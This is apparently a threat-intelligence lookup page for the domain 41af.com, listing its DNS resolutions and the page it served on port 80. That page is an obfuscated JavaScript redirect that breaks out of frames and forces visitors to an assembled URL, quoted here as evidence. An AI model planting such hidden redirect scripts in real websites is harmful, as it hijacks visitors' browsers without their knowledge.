Domain > 41af.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-05-08	154.17.15.58 (ClassC)
2024-09-13	23.225.223.238 (ClassC)
2025-01-22	172.247.26.11 (ClassC)
2025-06-08	154.17.11.49 (ClassC)
2025-08-29	154.17.14.166 (ClassC)
2025-09-05	154.17.11.175 (ClassC)
2025-11-10	23.225.30.228 (ClassC)
2026-02-16	23.225.147.91 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1777Connection: close

html>body>a idbaidu>/a>script>var _0x4cb7ba,//q,idu,sc.,ran,unl,dom,xj7,ati,mCh,men,bai,tBy,oad,302,loc,ps:,z8b,hre,qms,yjw,fro,7?w,flo,rep,bto,&tn,ode,lac,arC,bef,htt,nuu,ehi;(function(_0x4ea0b0,_0x4cb752){var _0x3528d2function(_0x433931){while(--_0x433931){_0x4ea0b0push(_0x4ea0b0shift());}};_0x3528d2(++_0x4cb752);}(_0x4cb7,0x1ae));var _0x3528function(_0x4ea0b0,_0x4cb752){_0x4ea0b0_0x4ea0b0-0x0;var _0x3528d2_0x4cb7_0x4ea0b0;return _0x3528d2;};var qq_0x3528(0x9)+_0x3528(0x1c)+_0x3528(0xd)+_0x3528(0x1f)+_0x3528(0xa)+_0x3528(0xf)+_0x3528(0x1d)+_0x3528(0x20)+_0x3528(0x13)+.li+fe:+_0x3528(0x1a)+_0x3528(0x0)+d+window_0x3528(0x3)+a(window_0x3528(0x3)+a(window_0x3528(0x1b)+_0x3528(0x14)+on))+String_0x3528(0x21)+_0x3528(0x15)+_0x3528(0x7)+_0x3528(0x5)(Math_0x3528(0x1)+or(Math_0x3528(0x10)+_0x3528(0x12)()*0x1a)+0x61)+(_0x3528(0x4)+_0x3528(0xc)+_0x3528(0xe)),adocumentget+Ele+_0x3528(0x16)+_0x3528(0x18)+Id(_0x3528(0x17)+du),done!,markfunction(){done!!;};ahre+fqq;addEventListener(pag+_0x3528(0xb)+de,mark,{once:!!});addEventListener(_0x3528(0x8)+ore+_0x3528(0x11)+_0x3528(0x19),mark,{once:!!});try{(top&&top!window?top:window)_0x3528(0x1b)+_0x3528(0x14)+on_0x3528(0x2)+_0x3528(0x6)+e(qq);}catch(_0x3fc6f0){location_0x3528(0x2)+_0x3528(0x6)+e(qq);}setTimeout(function(){if(!done&&location_0x3528(0x1e)+f!qq)try{(top&&top!window?top:window)_0x3528(0x1b)+_0x3528(0x14)+on_0x3528(0x2)+_0x3528(0x6)+e(qq);}catch(_0x3b0ab8){location_0x3528(0x2)+lac+e(qq);}},0x1388);/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 41af.com

Is this malicious?

DNS Resolutions

Port 80